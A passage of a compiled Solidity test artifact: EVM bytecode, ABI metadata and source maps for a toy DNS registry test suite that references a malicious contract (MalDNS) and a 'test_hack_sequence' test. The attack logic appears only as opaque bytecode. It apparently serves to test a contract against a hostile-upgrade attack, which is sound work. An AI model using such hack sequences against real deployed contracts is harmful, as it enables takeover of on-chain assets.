ffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461048257600080fd5b600080846040516104939190610b9e565b90815260200160405180910390209050828160000160006101000a81548163ffffffff021916908360e01c0217905550818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b6000808360405161051d9190610b9e565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156105b757503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b6105f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ed90610c94565b60405180910390fd5b600060e01b827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916141561065c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161065390610c54565b60405180910390fd5b818160000160006101000a81548163ffffffff021916908360e01c0217905550505050565b600080836040516106929190610b9e565b908152602001604051809103902090503273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614801561072c57503373ffffffffffffffffffffffffffffffffffffffff168160000160049054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16145b61076b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076290610c94565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156107db576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016107d290610c34565b60405180910390fd5b818160000160046101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505050565b60008135905061083281610e26565b92915050565b60008135905061084781610e3d565b92915050565b600082601f83011261085e57600080fd5b813561087161086c82610ce5565b610cb4565b9150808252602083016020830185838301111561088d57600080fd5b610898838284610de2565b50505092915050565b6000602082840312156108b357600080fd5b600082013567ffffffffffffffff8111156108cd57600080fd5b6108d98482850161084d565b91505092915050565b600080604083850312156108f557600080fd5b600083013567ffffffffffffffff81111561090f57600080fd5b61091b8582860161084d565b925050602061092c85828601610823565b9150509250929050565b6000806040838503121561094957600080fd5b600083013567ffffffffffffffff81111561096357600080fd5b61096f8582860161084d565b925050602061098085828601610838565b9150509250929050565b60008060006060848603121561099f57600080fd5b600084013567ffffffffffffffff8111156109b957600080fd5b6109c58682870161084d565b93505060206109d686828701610838565b92505060406109e786828701610823565b9150509250925092565b6109fa81610d3c565b82525050565b610a0981610d4e565b82525050565b610a1881610d9a565b82525050565b610a2781610dbe565b82525050565b6000610a3882610d15565b610a428185610d31565b9350610a52818560208601610df1565b80840191505092915050565b6000610a6b600f83610d20565b91507f496e76616c696420646f6d61696e2e00000000000000000000000000000000006000830152602082019050919050565b6000610aab600e83610d20565b91507f496e76616c6964206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610aeb600b83610d20565b91507f496e76616c69642069702e0000000000000000000000000000000000000000006000830152602082019050919050565b6000610b2b601583610d20565b91507f446f6d61696e20616c72656164792074616b656e2e00000000000000000000006000830152602082019050919050565b6000610b6b600e83610d20565b91507f4e6f7420746865206f776e65722e0000000000000000000000000000000000006000830152602082019050919050565b6000610baa8284610a2d565b915081905092915050565b6000604082019050610bca6000830185610a00565b610bd760208301846109f1565b9392505050565b6000602082019050610bf36000830184610a0f565b92915050565b6000602082019050610c0e6000830184610a1e565b92915050565b60006020820190508181036000830152610c2d81610a5e565b9050919050565b60006020820190508181036000830152610c4d81610a9e565b9050919050565b60006020820190508181036000830152610c6d81610ade565b9050919050565b60006020820190508181036000830152610c8d81610b1e565b9050919050565b60006020820190508181036000830152610cad81610b5e565b9050919050565b6000604051905081810181811067ffffffffffffffff82111715610cdb57610cda610e24565b5b8060405250919050565b600067ffffffffffffffff821115610d0057610cff610e24565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000610d4782610d7a565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000610da582610dac565b9050919050565b6000610db782610d7a565b9050919050565b6000610dc982610dd0565b9050919050565b6000610ddb82610d7a565b9050919050565b82818337600083830152505050565b60005b83811015610e0f578082015181840152602081019050610df4565b83811115610e1e576000848401525b50505050565bfe5b610e2f81610d3c565b8114610e3a57600080fd5b50565b610e4681610d4e565b8114610e5157600080fd5b5056fea2646970667358221220b23f98d283160e20da122f7f02a954df3b2637f635f4b30e955c8a118233fa3764736f6c6343000704003360c06040523480156200001157600080fd5b5060405162000cc138038062000cc18339818101604052810190620000379190620000db565b8173ffffffffffffffffffffffffffffffffffffffff1660808173ffffffffffffffffffffffffffffffffffffffff1660601b815250508073ffffffffffffffffffffffffffffffffffffffff1660a08173ffffffffffffffffffffffffffffffffffffffff1660601b815250505050620001ac565b600081519050620000be8162000178565b92915050565b600081519050620000d58162000192565b92915050565b60008060408385031215620000ef57600080fd5b6000620000ff85828601620000ad565b92505060206200011285828601620000c4565b9150509250929050565b6000620001298262000158565b9050919050565b60006200013d826200011c565b9050919050565b600062000151826200011c565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b620001838162000130565b81146200018f57600080fd5b50565b6200019d8162000144565b8114620001a957600080fd5b50565b60805160601c60a05160601c610ad7620001ea600039806101ed528061038052508061013c52806102ed528061040e528061049f5250610ad76000f3fe608060405234801561001057600080fd5b506004361061007d5760003560e01c80639be1238f1161005b5780639be1238f146100d9578063d4eec5a6146100f5578063f7a46696146100ff578063fbf58b3e1461011b5761007d565b8063461a4478146100825780635b48684e146100b357806363c95186146100bd575b600080fd5b61009c60048036038101906100979190610627565b610137565b6040516100aa9291906107dd565b60405180910390f35b6100bb6101eb565b005b6100d760048036038101906100d29190610710565b610279565b005b6100f360048036038101906100ee91906106bc565b6102eb565b005b6100fd61037e565b005b610119600480360381019061011491906106bc565b61040c565b005b61013560048036038101906101309190610668565b61049d565b005b6000807f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663461a4478846040518263ffffffff1660e01b81526004016101939190610821565b604080518083038186803b1580156101aa57600080fd5b505afa1580156101be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906101e291906105eb565b91509150915091565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b1d6d39d60016040518263ffffffff1660e01b81526004016102459190610806565b600060405180830381600087803b15801561025f57600080fd5b505af1158015610273573d6000803e3d6000fd5b50505050565b8073ffffffffffffffffffffffffffffffffffffffff1663f7a4669684846040518363ffffffff1660e01b81526004016102b4929190610873565b600060405180830381600087803b1580156102ce57600080fd5b505af11580156102e2573d6000803e3d6000fd5b50505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663894049788383306040518463ffffffff1660e01b8152600401610348939291906108a3565b600060405180830381600087803b15801561036257600080fd5b505af1158015610376573d6000803e3d6000fd5b505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663b1d6d39d60006040518263ffffffff1660e01b81526004016103d89190610806565b600060405180830381600087803b1580156103f257600080fd5b505af1158015610406573d6000803e3d6000fd5b50505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663f7a4669683836040518363ffffffff1660e01b8152600401610467929190610873565b600060405180830381600087803b15801561048157600080fd5b505af1158015610495573d6000803e3d6000fd5b505050505050565b7f000000000000000000000000000000000000000000000000000000000000000073ffffffffffffffffffffffffffffffffffffffff1663fbf58b3e83836040518363ffffffff1660e01b81526004016104f8929190610843565b600060405180830381600087803b15801561051257600080fd5b505af1158015610526573d6000803e3d6000fd5b505050505050565b60008135905061053d81610a5c565b92915050565b60008151905061055281610a5c565b92915050565b60008135905061056781610a73565b92915050565b60008151905061057c81610a73565b92915050565b60008135905061059181610a8a565b92915050565b600082601f8301126105a857600080fd5b81356105bb6105b682610912565b6108e1565b915080825260208301602083018583830111156105d757600080fd5b6105e28382846109f3565b50505092915050565b600080604083850312156105fe57600080fd5b600061060c8582860161056d565b925050602061061d85828601610543565b9150509250929050565b60006020828403121561063957600080fd5b600082013567ffffffffffffffff81111561065357600080fd5b61065f84828501610597565b91505092915050565b6000806040838503121561067b57600080fd5b600083013567ffffffffffffffff81111561069557600080fd5b6106a185828601610597565b92505060206106b28582860161052e565b9150509250929050565b600080604083850312156106cf57600080fd5b600083013567ffffffffffffffff8111156106e957600080fd5b6106f585828601610597565b925050602061070685828601610558565b9150509250929050565b60008060006060848603121561072557600080fd5b600084013567ffffffffffffffff81111561073f57600080fd5b61074b86828701610597565b935050602061075c86828701610558565b925050604061076d86828701610582565b9150509250925092565b6107808161095e565b82525050565b61078f81610970565b82525050565b61079e816109e1565b82525050565b60006107af82610942565b6107b9818561094d565b93506107c9818560208601610a02565b6107d281610a37565b840191505092915050565b60006040820190506107f26000830185610786565b6107ff6020830184610777565b9392505050565b600060208201905061081b6000830184610795565b92915050565b6000602082019050818103600083015261083b81846107a4565b905092915050565b6000604082019050818103600083015261085d81856107a4565b905061086c6020830184610777565b9392505050565b6000604082019050818103600083015261088d81856107a4565b905061089c6020830184610786565b9392505050565b600060608201905081810360008301526108bd81866107a4565b90506108cc6020830185610786565b6108d96040830184610777565b949350505050565b6000604051905081810181811067ffffffffffffffff8211171561090857610907610a35565b5b8060405250919050565b600067ffffffffffffffff82111561092d5761092c610a35565b5b601f19601f8301169050602081019050919050565b600081519050919050565b600082825260208201905092915050565b6000610969826109c1565b9050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b60006109a78261095e565b9050919050565b60008190506109bc82610a48565b919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006109ec826109ae565b9050919050565b82818337600083830152505050565b60005b83811015610a20578082015181840152602081019050610a05565b83811115610a2f576000848401525b50505050565bfe5b6000601f19601f8301169050919050565b60028110610a5957610a58610a35565b5b50565b610a658161095e565b8114610a7057600080fd5b50565b610a7c81610970565b8114610a8757600080fd5b50565b610a938161099c565b8114610a9e57600080fd5b5056fea264697066735822122004a334eb3716dfafcf036f3ecf492375e65e1813188daf1697f185fb67b35bde64736f6c63430007040033a264697066735822122075386a84bd3fa86e0b05b9b51ff3cbbd19f7364afa4ae3d315940750696b2ce964736f6c63430007040033","metadata":"{\"compiler\":{\"version\":\"0.7.4+commit.3f05b770\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"address\",\"name\":\"target\",\"type\":\"address\"},{\"indexed\":false,\"internalType\":\"bool\",\"name\":\"exact\",\"type\":\"bool\"}],\"name\":\"eventListener\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"\",\"type\":\"bytes32\"}],\"name\":\"log_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"address\",\"name\":\"val\",\"type\":\"address\"}],\"name\":\"log_named_address\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"val\",\"type\":\"bytes32\"}],\"name\":\"log_named_bytes32\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"decimals\",\"type\":\"uint256\"}],\"name\":\"log_named_decimal_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"int256\",\"name\":\"val\",\"type\":\"int256\"}],\"name\":\"log_named_int\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"string\",\"name\":\"val\",\"type\":\"string\"}],\"name\":\"log_named_string\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes32\",\"name\":\"key\",\"type\":\"bytes32\"},{\"indexed\":false,\"internalType\":\"uint256\",\"name\":\"val\",\"type\":\"uint256\"}],\"name\":\"log_named_uint\",\"type\":\"event\"},{\"anonymous\":false,\"inputs\":[{\"indexed\":false,\"internalType\":\"bytes\",\"name\":\"\",\"type\":\"bytes\"}],\"name\":\"logs\",\"type\":\"event\"},{\"inputs\":[],\"name\":\"IS_TEST\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"failed\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"setUp\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"test_hack_sequence\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"test_safe_sequence\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/DNSTest.t.sol\":\"DNSTest\"},\"evmVersion\":\"istanbul\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":false,\"runs\":200},\"remappings\":[\":/=/\",\":ds-test/=lib/ds-test/src/\",\":ds-test=lib/ds-test/src/index.sol\"]},\"sources\":{\"lib/ds-test/src/test.sol\":{\"keccak256\":\"0x0585b4faea84c48433a20491b7285f004b11902132543f2ad286407cb08b0535\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://411e78f8169949a26f2483234d1bbb0fc9fbf1980a3e7d18f5890fbef9b2b737\",\"dweb:/ipfs/Qmcsk29nfkd3c251qD9j2gBYzCbHpNpYvq8tXErtroG8FA\"]},\"src/DNS.sol\":{\"keccak256\":\"0x6cd821bd39563f4bc03dd3f112a4e6d843a39f07ae63c221fed932653f9d0759\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://cb1b834d2b517786c9f5d706e816d09a10cdcfc7566b58495873ca36ce5fb384\",\"dweb:/ipfs/QmcrwwNaev8NBDYdsZ6GPbG6zAFNoSzCVqpSu4QTB5DtCB\"]},\"src/DNSTest.t.sol\":{\"keccak256\":\"0x8490569ad48cc031c96d8ed0c82fc2792bba68de00ea731ff88e36b05ba886a4\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://b6bfa9484442963fab14d1fdf80b00938206f33bdb113656bb8c171a20f5dead\",\"dweb:/ipfs/QmVxmoJDftunt8SAxpTNfq2cfX7yRcp6ALnD1fRjsuWMo3\"]},\"src/HEVMCheat.sol\":{\"keccak256\":\"0xbb563bd7039f446d7a4b0407764d3b9de8ae46e317e8b61cb36ceab6ad1078fb\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://a7cee341638027f254f60ad2b586cfe390655b793ccce70ce4c8063ecf4e2890\",\"dweb:/ipfs/QmRGS8HiCdsx1RPTneFA5PNmEJiWBHBXeMe2rscjG9RFYd\"]},\"src/IDNS.sol\":{\"keccak256\":\"0x9285f06c81c75d169c4fe7d0b24b2b50894f09d951c4e8f6134af923ed3e9c2f\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://38476e14838c65196ef345eade7ba706307b720c6ecd32ed8d42006023d4ef3e\",\"dweb:/ipfs/QmUxCKcvXtTMwVpJfu9QpPMpfMk88V2Uafmmg2bw3NRgrn\"]},\"src/MalDNS.sol\":{\"keccak256\":\"0x3bea24f6589ebb2120be090924605d1512e2ea57e0de781ecadf2f2f3ed4eedf\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://74c5c49a3125c31fc621ae85a4a4848ae945740b22cf9f7d7d9750c3b9ef5031\",\"dweb:/ipfs/QmZydphzztNXCwiCgtffTeyjumkERWpSjuSTchFZbEn6Mv\"]},\"src/Upgrade.sol\":{\"keccak256\":\"0xf1b948c97cba7390ad71d1b79badb2d500c55add416b4c63bdf33f3bd20495ea\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://1ac4a2d586937be95d2660afa026ec19cab71b0989be561b807b262be6e9d3ce\",\"dweb:/ipfs/QmfTjon8NyvCMKT4U2Z6nz44V6hnVaAHPrZ2uT1dwGK8bX\"]},\"src/UpgradedDNS.sol\":{\"keccak256\":\"0x9bab7b3cf0953af729edfbf418aeeefc0428235ba94c0c3cd68ea0740f1200dc\",\"license\":\"GPL-v3\",\"urls\":[\"bzz-raw://df8d1be1d8fd3d4ab81593055e75ccbe57406c8574e8351983cfe55f20bf9fed\",\"dweb:/ipfs/QmTYsSXKfFNb68FbRJmgp6Sgcsn8BQuGQCKs6LJs2c1Swd\"]}},\"version\":1}","srcmap":"1079:5778:2:-:0;;;;;;;;;;;;;1411:4:0;1401:7;;:14;;;;;;;;;;;;;;;;;;1079:5778:2;;;;;;","srcmap-runtime":"1079:5778:2:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1275:39;;;:::i;:::-;;5581:1274;;;:::i;:::-;;1647:3931;;;:::i;:::-;;1352:18:0;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1327:19;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;1275:39:2;1303:7;:5;:7::i;:::-;1275:39::o;5581:1274::-;5622:16;:26;;;;;;;;;;;;;;;;;;;5652:9;5664:10;5652:22;;;;5678:16;:26;;;;;;;;;;;;;;;;;;;5708:9;5720:10;5708:22;;;;5735:9;5748:13;5793:5;5799:1;5793:8;;;;;;;;;;;;;;;;;;:17;;;5811:2;5815;5793:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5836:3;;;;;;;;;;;:11;;;5848:2;5836:15;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5822:29;;;;;;;;5855:16;5864:2;5855:16;;;5868:2;5855:16;;;:8;:16::i;:::-;5875:34;5884:5;5899;5905:1;5899:8;;;;;;;;;;;;;;;;;;5875;:34::i;:::-;5941:5;5947:1;5941:8;;;;;;;;;;;;;;;;;;:17;;;5959:2;5963;5941:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5984:3;;;;;;;;;;;:11;;;5996:2;5984:15;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5970:29;;;;;;;;6003:16;6012:2;6003:16;;;6016:2;6003:16;;;:8;:16::i;:::-;6023:34;6032:5;6047;6053:1;6047:8;;;;;;;;;;;;;;;;;;6023;:34::i;:::-;6102:7;;;;;;;;;;;:18;;;6139:2;6121:15;:20;6148:6;;;;;;;;;;;6102:54;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6160:36;6171:7;;;;;;;;;;;:22;;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6160:10;:36::i;:::-;6220:5;6226:1;6220:8;;;;;;;;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6260:5;6266:1;6260:8;;;;;;;;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6280:4;;;;;;;;;;;:9;;;6290:2;6280:13;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6320:5;6326:1;6320:8;;;;;;;;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6366:5;6372:1;6366:8;;;;;;;;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6387:7;;;;;;;;;;;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6414:37;6426:7;;;;;;;;;;;:22;;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6425:25;6414:10;:37::i;:::-;6500:7;;;;;;;;;;;:18;;;6537:1;6519:15;:19;6545:7;;;;;;;;;;;6500:54;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6558:36;6569:7;;;;;;;;;;;:22;;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6558:10;:36::i;:::-;6624:4;;;;;;;;;;;:9;;;6634:3;6624:14;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6642:37;6654:7;;;;;;;;;;;:22;;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6653:25;6642:10;:37::i;:::-;6684:7;;;;;;;;;;;:16;;;6701:2;6705:10;6725:4;6684:47;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6749:5;6755:1;6749:8;;;;;;;;;;;;;;;;;;:16;;;6766:2;6749:20;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6735:34;;;;;;;;6773:28;6790:10;6784:16;;:2;:16;;;;6773:10;:28::i;:::-;6805:34;6833:4;6816:22;;:5;:22;;;6805:10;:34::i;:::-;5581:1274;;;;;;:::o;1647:3931::-;1688:16;:26;;;;;;;;;;;;;;;;;;;1718:9;1730:10;1718:22;;;;1744:16;:26;;;;;;;;;;;;;;;;;;;1774:9;1786:10;1774:22;;;;1801:9;1814:13;1859:5;1865:1;1859:8;;;;;;;;;;;;;;;;;;:17;;;1877:2;1881;1859:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;1902:3;;;;;;;;;;;:11;;;1914:2;1902:15;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;1888:29;;;;;;;;1921:16;1930:2;1921:16;;;1934:2;1921:16;;;:8;:16::i;:::-;1941:34;1950:5;1965;1971:1;1965:8;;;;;;;;;;;;;;;;;;1941;:34::i;:::-;2007:5;2013:1;2007:8;;;;;;;;;;;;;;;;;;:17;;;2025:2;2029;2007:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2050:3;;;;;;;;;;;:11;;;2062:2;2050:15;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2036:29;;;;;;;;2069:16;2078:2;2069:16;;;2082:2;2069:16;;;:8;:16::i;:::-;2089:34;2098:5;2113;2119:1;2113:8;;;;;;;;;;;;;;;;;;2089;:34::i;:::-;2162:7;;;;;;;;;;;:18;;;2199:2;2181:15;:20;2208:6;;;;;;;;;;;2162:54;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2220:36;2231:7;;;;;;;;;;;:22;;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2220:10;:36::i;:::-;2280:5;2286:1;2280:8;;;;;;;;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2320:5;2326:1;2320:8;;;;;;;;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2340:4;;;;;;;;;;;:9;;;2350:2;2340:13;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2380:5;2386:1;2380:8;;;;;;;;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2421:5;2427:1;2421:8;;;;;;;;;;;;;;;;;;:14;;;:16;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2483:4;;;;;;;;;;;:9;;;2493:2;2483:13;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;2500:37;2512:7;;;;;;;;;;;:22;;;:24;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2511:25;2500:10;:37::i;:::-;2542:7;2553;2608;;;;;;;;;;;:21;;;2638:5;2644:1;2638:8;;;;;;;;;;;;;;;;;;2608:40;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2597:51;;;;;;;;2652:14;2663:2;2652:10;:14::i;:::-;2670:38;2687:2;2700:6;;;;;;;;;;;2670:8;:38::i;:::-;2783:7;;;;;;;;;;;:21;;;2813:5;2819:1;2813:8;;;;;;;;;;;;;;;;;;2783:40;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2772:51;;;;;;;;2827:15;2839:2;2838:3;2827:10;:15::i;:::-;2930:7;;;;;;;;;;;:21;;;2960:5;2966:1;2960:8;;;;;;;;;;;;;;;;;;2930:40;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;2919:51;;;;;;;;2974:15;2986:2;2985:3;2974:10;:15::i;:::-;3031:7;;;;;;;;;;;:21;;;3061:5;3067:1;3061:8;;;;;;;;;;;;;;;;;;3031:40;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3020:51;;;;;;;;3075:14;3086:2;3075:10;:14::i;:::-;3094:16;:26;;;;;;;;;;;;;;;;;;;3124:9;3136:10;3124:22;;;;3150:16;:26;;;;;;;;;;;;;;;;;;;3180:9;3192:10;3180:22;;;;3352:5;3358:1;3352:8;;;;;;;;;;;;;;;;;;:17;;;3370:2;3374;3352:25;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3442:3;;;;;;;;;;;:11;;;3454:2;3442:15;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3428:29;;;;;;;;3461:15;3470:2;3461:15;;;3474:1;3461:15;;:8;:15::i;:::-;3480:27;3489:5;3504:1;3480:8;:27::i;:::-;3562:6;;;;;;;;;;;:14;;;3577:2;3562:18;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;3548:32;;;;;;;;3584:16;3593:2;3584:16;;;3597:2;3584:16;;;:8;:16::i;:::-;3604:34;3613:5;3628;3634:1;3628:8;;;;;;;;;;;;;;;;;;3604;:34::i;:::-;3708:5;3714:1;3708:8;;;;;;;;;;;;;;;;;;:16;;;3725:2;3708:20;;;;;;;;;;;;;;;:::i;:::-